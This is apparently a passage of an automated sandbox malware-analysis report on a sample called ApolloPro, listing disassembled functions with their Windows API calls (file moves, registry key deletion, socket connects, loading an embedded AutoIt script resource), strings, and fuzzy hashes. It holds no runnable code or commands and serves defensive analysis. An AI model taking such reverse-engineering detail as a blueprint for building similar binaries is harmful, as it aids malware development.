                                                                    • Instruction Fuzzy Hash: F84172A6C10618B6CB51EBB4C88E9CFB77CEF14310F504866E509E3211E738A656C7E6
                                                                    Function 00813B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00814BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00813B8A,?), ref: 00814BE0
                                                                      • Part of subcall function 00814BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00813B8A,?), ref: 00814BF9
                                                                    • lstrcmpiW.KERNEL32(?,?), ref: 00813BAA
                                                                    • _wcscmp.LIBCMT ref: 00813BC6
                                                                    • MoveFileW.KERNEL32(?,?), ref: 00813BDE
                                                                    • _wcscat.LIBCMT ref: 00813C26
                                                                    • SHFileOperationW.SHELL32(?), ref: 00813C92
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
                                                                    • String ID: \*.*
                                                                    • API String ID: 1377345388-1173974218
                                                                    • Opcode ID: bdc1b83ac2fab1d8378213da0e83e9d426de5ba72689c4125556ac4933192205
                                                                    • Instruction ID: a235f2bd9871793bd35cc422017535f8d681e837aebf653823c97576f1afbffc
                                                                    • Opcode Fuzzy Hash: bdc1b83ac2fab1d8378213da0e83e9d426de5ba72689c4125556ac4933192205
                                                                    • Instruction Fuzzy Hash: 34413B7150C344AAC752EB64C485ADBB7ECFF89350F50192EB489D3252EB34D689CB52
                                                                    Function 008378B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 008378CF
                                                                    • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00837976
                                                                    • IsMenu.USER32(?), ref: 0083798E
                                                                    • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 008379D6
                                                                    • DrawMenuBar.USER32 ref: 008379E9
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Item$DrawInfoInsert_memset
                                                                    • String ID: 0
                                                                    • API String ID: 3866635326-4108050209
                                                                    • Opcode ID: 0d8433b707e7652be981eaa013f51034803bf68c6e1a85d7e3116dc6113aa8aa
                                                                    • Instruction ID: 353e6b1130d46404c41973c3e92bd70ad50a428f55b5001240c2a6254a1ebd34
                                                                    • Opcode Fuzzy Hash: 0d8433b707e7652be981eaa013f51034803bf68c6e1a85d7e3116dc6113aa8aa
                                                                    • Instruction Fuzzy Hash: 904137B5A04209EFDB20DF54D884AAABBB5FB49315F048229ED55A7250C738ED50CFA0
                                                                    Function 00831602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00831631
                                                                    • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0083165B
                                                                    • FreeLibrary.KERNEL32(00000000), ref: 00831712
                                                                      • Part of subcall function 00831602: RegCloseKey.ADVAPI32(?), ref: 00831678
                                                                      • Part of subcall function 00831602: FreeLibrary.KERNEL32(?), ref: 008316CA
                                                                      • Part of subcall function 00831602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 008316ED
                                                                    • RegDeleteKeyW.ADVAPI32(?,?), ref: 008316B5
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                                    • String ID:
                                                                    • API String ID: 395352322-0
                                                                    • Opcode ID: cadbbfa0675479a84974be53b82a31796c4899b955ae1fe065994a015238834b
                                                                    • Instruction ID: 228ad0fa558050aefb28e3e7f4ddd14223d7e8827c5816168753f0b3b1e3764e
                                                                    • Opcode Fuzzy Hash: cadbbfa0675479a84974be53b82a31796c4899b955ae1fe065994a015238834b
                                                                    • Instruction Fuzzy Hash: D03118B5901209BFDF149B94DC8AAFFB7BCFF49701F04016AE902E2150EB749E459AA0
                                                                    Function 008368F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00836911
                                                                    • GetWindowLongW.USER32(01555C80,000000F0), ref: 00836944
                                                                    • GetWindowLongW.USER32(01555C80,000000F0), ref: 00836979
                                                                    • SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 008369AB
                                                                    • SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 008369D5
                                                                    • GetWindowLongW.USER32(?,000000F0), ref: 008369E6
                                                                    • SetWindowLongW.USER32(?,000000F0,00000000), ref: 00836A00
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: LongWindow$MessageSend
                                                                    • String ID:
                                                                    • API String ID: 2178440468-0
                                                                    • Opcode ID: 4fe5ddb2417953763993e912c50ed624fa461a4f76701b60340c844e685c93a3
                                                                    • Instruction ID: e87faef5b2f44463da44b9ba6b84e5464e27d89edeaa1ff3649ef4745c82212e
                                                                    • Opcode Fuzzy Hash: 4fe5ddb2417953763993e912c50ed624fa461a4f76701b60340c844e685c93a3
                                                                    • Instruction Fuzzy Hash: 02312535604254AFDB208F1CDC88F653BE1FB8A351F1941A4FA09CB2A1DB71ACA0DB91
                                                                    Function 0080E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0080E2CA
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0080E2F0
                                                                    • SysAllocString.OLEAUT32(00000000), ref: 0080E2F3
                                                                    • SysAllocString.OLEAUT32(?), ref: 0080E311
                                                                    • SysFreeString.OLEAUT32(?), ref: 0080E31A
                                                                    • StringFromGUID2.OLE32(?,?,00000028), ref: 0080E33F
                                                                    • SysAllocString.OLEAUT32(?), ref: 0080E34D
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                    • String ID:
                                                                    • API String ID: 3761583154-0
                                                                    • Opcode ID: 6fea0727f5ea18854ffc6ab2a202f4e111dbffcc69fdbc572be81461e45e5c18
                                                                    • Instruction ID: 9be40cd9da68028974af9d4f3eebbf55559a8062889a990ec7f0a789de21bd62
                                                                    • Opcode Fuzzy Hash: 6fea0727f5ea18854ffc6ab2a202f4e111dbffcc69fdbc572be81461e45e5c18
                                                                    • Instruction Fuzzy Hash: D7218E7660421DAFEB50DFA8DC88CBB77ACFB09364B458529FE14DB290D670AC418B64
                                                                    Function 0082685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00828475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 008284A0
                                                                    • socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 008268B1
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 008268C0
                                                                    • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 008268F9
                                                                    • connect.WSOCK32(00000000,?,00000010), ref: 00826902
                                                                    • WSAGetLastError.WSOCK32 ref: 0082690C
                                                                    • closesocket.WSOCK32(00000000), ref: 00826935
                                                                    • ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0082694E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
                                                                    • String ID:
                                                                    • API String ID: 910771015-0
                                                                    • Opcode ID: 0c85ad2dca80eb59be6d9a1e5cd2fc155422163ff5599551332ef662a88db2bc
                                                                    • Instruction ID: 88e63678a744972f84cbbcf2187407ab0a072f56837551755661fdc38389e4a4
                                                                    • Opcode Fuzzy Hash: 0c85ad2dca80eb59be6d9a1e5cd2fc155422163ff5599551332ef662a88db2bc
                                                                    • Instruction Fuzzy Hash: 3531A471600118EBDB10AF64DC85BBA7BA9FB45725F044029FA05E7291DB74AC94CBA1
                                                                    Function 0080E360 Relevance: 10.6, APIs: 7, Instructions: 90memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0080E3A5
                                                                    • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0080E3CB
                                                                    • SysAllocString.OLEAUT32(00000000), ref: 0080E3CE
                                                                    • SysAllocString.OLEAUT32 ref: 0080E3EF
                                                                    • SysFreeString.OLEAUT32 ref: 0080E3F8
                                                                    • StringFromGUID2.OLE32(?,?,00000028), ref: 0080E412
                                                                    • SysAllocString.OLEAUT32(?), ref: 0080E420
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                                    • String ID:
                                                                    • API String ID: 3761583154-0
                                                                    • Opcode ID: 75c60978eacb4f9b03af77f5d6fe0801967a0f1807dcaf1631e758bbfbb6e0e2
                                                                    • Instruction ID: 1785c1eb95bdbb5009cf2c2665e37106e68337ef140308aaeafd9f84b2b1e8b4
                                                                    • Opcode Fuzzy Hash: 75c60978eacb4f9b03af77f5d6fe0801967a0f1807dcaf1631e758bbfbb6e0e2
                                                                    • Instruction Fuzzy Hash: D1218635604608AFEB549FA8DC88DAF77ECFB09364B408529FA05CB2A1D674EC41CB64
                                                                    Function 0080FE19 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 90COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __wcsnicmp
                                                                    • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                    • API String ID: 1038674560-2734436370
                                                                    • Opcode ID: 69049f8d9d5de8b1d52a5cae08af569c47678072a16cb45358eb2256a61c46c8
                                                                    • Instruction ID: 51a2827828443d6c5be1538d8b44e2b8bd121c4c0b4249a8452a24cb0c6e24a4
                                                                    • Opcode Fuzzy Hash: 69049f8d9d5de8b1d52a5cae08af569c47678072a16cb45358eb2256a61c46c8
                                                                    • Instruction Fuzzy Hash: B0214C32100155A6D330BA24DC1BFA77398FF51704F50843AF645CEAD3E7A9AD428295
                                                                    Function 00837BF2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 007B214F
                                                                      • Part of subcall function 007B2111: GetStockObject.GDI32(00000011), ref: 007B2163
                                                                      • Part of subcall function 007B2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 007B216D
                                                                    • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00837C57
                                                                    • SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00837C64
                                                                    • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00837C6F
                                                                    • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00837C7E
                                                                    • SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00837C8A
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$CreateObjectStockWindow
                                                                    • String ID: Msctls_Progress32
                                                                    • API String ID: 1025951953-3636473452
                                                                    • Opcode ID: 2756aab902febe050a33ca40887c19497cbce85c11a4412ca6707c08e1cea285
                                                                    • Instruction ID: 0f4ea14b3d29875429842f5e9252ece004c7ed1406204e336740e7e90a84b5a6
                                                                    • Opcode Fuzzy Hash: 2756aab902febe050a33ca40887c19497cbce85c11a4412ca6707c08e1cea285
                                                                    • Instruction Fuzzy Hash: C71190B214021DBEEF258F64CC85EE77F5DFF49798F015114BB08A20A0C6729C22DBA0
                                                                    Function 00819ED8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00800817,?,?,00000000,00000000), ref: 00819EE8
                                                                    • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00800817,?,?,00000000,00000000), ref: 00819EFF
                                                                    • LoadResource.KERNEL32(?,00000000,?,?,00800817,?,?,00000000,00000000,?,?,?,?,?,?,007C4A14), ref: 00819F0F
                                                                    • SizeofResource.KERNEL32(?,00000000,?,?,00800817,?,?,00000000,00000000,?,?,?,?,?,?,007C4A14), ref: 00819F20
                                                                    • LockResource.KERNEL32(00800817,?,?,00800817,?,?,00000000,00000000,?,?,?,?,?,?,007C4A14,00000000), ref: 00819F2F
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                                    • String ID: SCRIPT
                                                                    • API String ID: 3051347437-3967369404
                                                                    • Opcode ID: de22d4d2be0e1f44c595842b7a2f4f45b0df64e49586e3495a784e5ed6f59dbd
                                                                    • Instruction ID: a186ad44eadc239f793efcdaea5090b612086d7f8ba22d57c5de745f78dd0824
                                                                    • Opcode Fuzzy Hash: de22d4d2be0e1f44c595842b7a2f4f45b0df64e49586e3495a784e5ed6f59dbd
                                                                    • Instruction Fuzzy Hash: AF114874200601BBE7218B65DC48F677BBDFFC6B11F104269FA4AD62A0DB71E845CA60
                                                                    Function 007D9D16 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __init_pointers.LIBCMT ref: 007D9D16
                                                                      • Part of subcall function 007D33B7: EncodePointer.KERNEL32(00000000), ref: 007D33BA
                                                                      • Part of subcall function 007D33B7: __initp_misc_winsig.LIBCMT ref: 007D33D5
                                                                      • Part of subcall function 007D33B7: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 007DA0D0
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 007DA0E4
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 007DA0F7
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 007DA10A
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 007DA11D
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 007DA130
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 007DA143
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 007DA156
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 007DA169
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 007DA17C
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 007DA18F
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 007DA1A2
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 007DA1B5
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 007DA1C8
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 007DA1DB
                                                                      • Part of subcall function 007D33B7: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 007DA1EE
                                                                    • __mtinitlocks.LIBCMT ref: 007D9D1B
                                                                    • __mtterm.LIBCMT ref: 007D9D24
                                                                      • Part of subcall function 007D9D8C: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,007D9D29,007D7EFD,0086CD38,00000014), ref: 007D9E86
                                                                      • Part of subcall function 007D9D8C: _free.LIBCMT ref: 007D9E8D
                                                                      • Part of subcall function 007D9D8C: DeleteCriticalSection.KERNEL32(00870C00,?,?,007D9D29,007D7EFD,0086CD38,00000014), ref: 007D9EAF
                                                                    • __calloc_crt.LIBCMT ref: 007D9D49
                                                                    • __initptd.LIBCMT ref: 007D9D6B
                                                                    • GetCurrentThreadId.KERNEL32 ref: 007D9D72
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
                                                                    • String ID:
                                                                    • API String ID: 3567560977-0
                                                                    • Opcode ID: 6afd952716b5b281d6e5dc409aad2ff4fa3e1a9d807850411bd2d161e2d74ee7
                                                                    • Instruction ID: 5df916f84349a42c9cb790a67fcdb3662eb37f82adbafc68ec2701a4c27bb98e
                                                                    • Opcode Fuzzy Hash: 6afd952716b5b281d6e5dc409aad2ff4fa3e1a9d807850411bd2d161e2d74ee7
                                                                    • Instruction Fuzzy Hash: 16F0CD32609311AAE6343B34BC0B38A7AB6EB41730F20421BF2A4D53D2EF18C84085A1
                                                                    Function 007D41B9 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,007D4282,?), ref: 007D41D3
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 007D41DA
                                                                    • EncodePointer.KERNEL32(00000000), ref: 007D41E6
                                                                    • DecodePointer.KERNEL32(00000001,007D4282,?), ref: 007D4203
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
                                                                    • String ID: RoInitialize$combase.dll
                                                                    • API String ID: 3489934621-340411864
                                                                    • Opcode ID: 0a198885694e5eb5e9ab064697b1ccaaa0c6355b3fe57b24faa673fac838f429
                                                                    • Instruction ID: 86160f438e8ebccfc05964256a35149dc73f109c58b7c9590911a6c29f5abc59
                                                                    • Opcode Fuzzy Hash: 0a198885694e5eb5e9ab064697b1ccaaa0c6355b3fe57b24faa673fac838f429
                                                                    • Instruction Fuzzy Hash: 97E04F78A94705AFEB105F70EC4DB093AA5B712B07FA04424F615D52E8CBF980C4CF10
                                                                    Function 007D428E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,007D41A8), ref: 007D42A8
                                                                    • GetProcAddress.KERNEL32(00000000), ref: 007D42AF
                                                                    • EncodePointer.KERNEL32(00000000), ref: 007D42BA
                                                                    • DecodePointer.KERNEL32(007D41A8), ref: 007D42D5
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
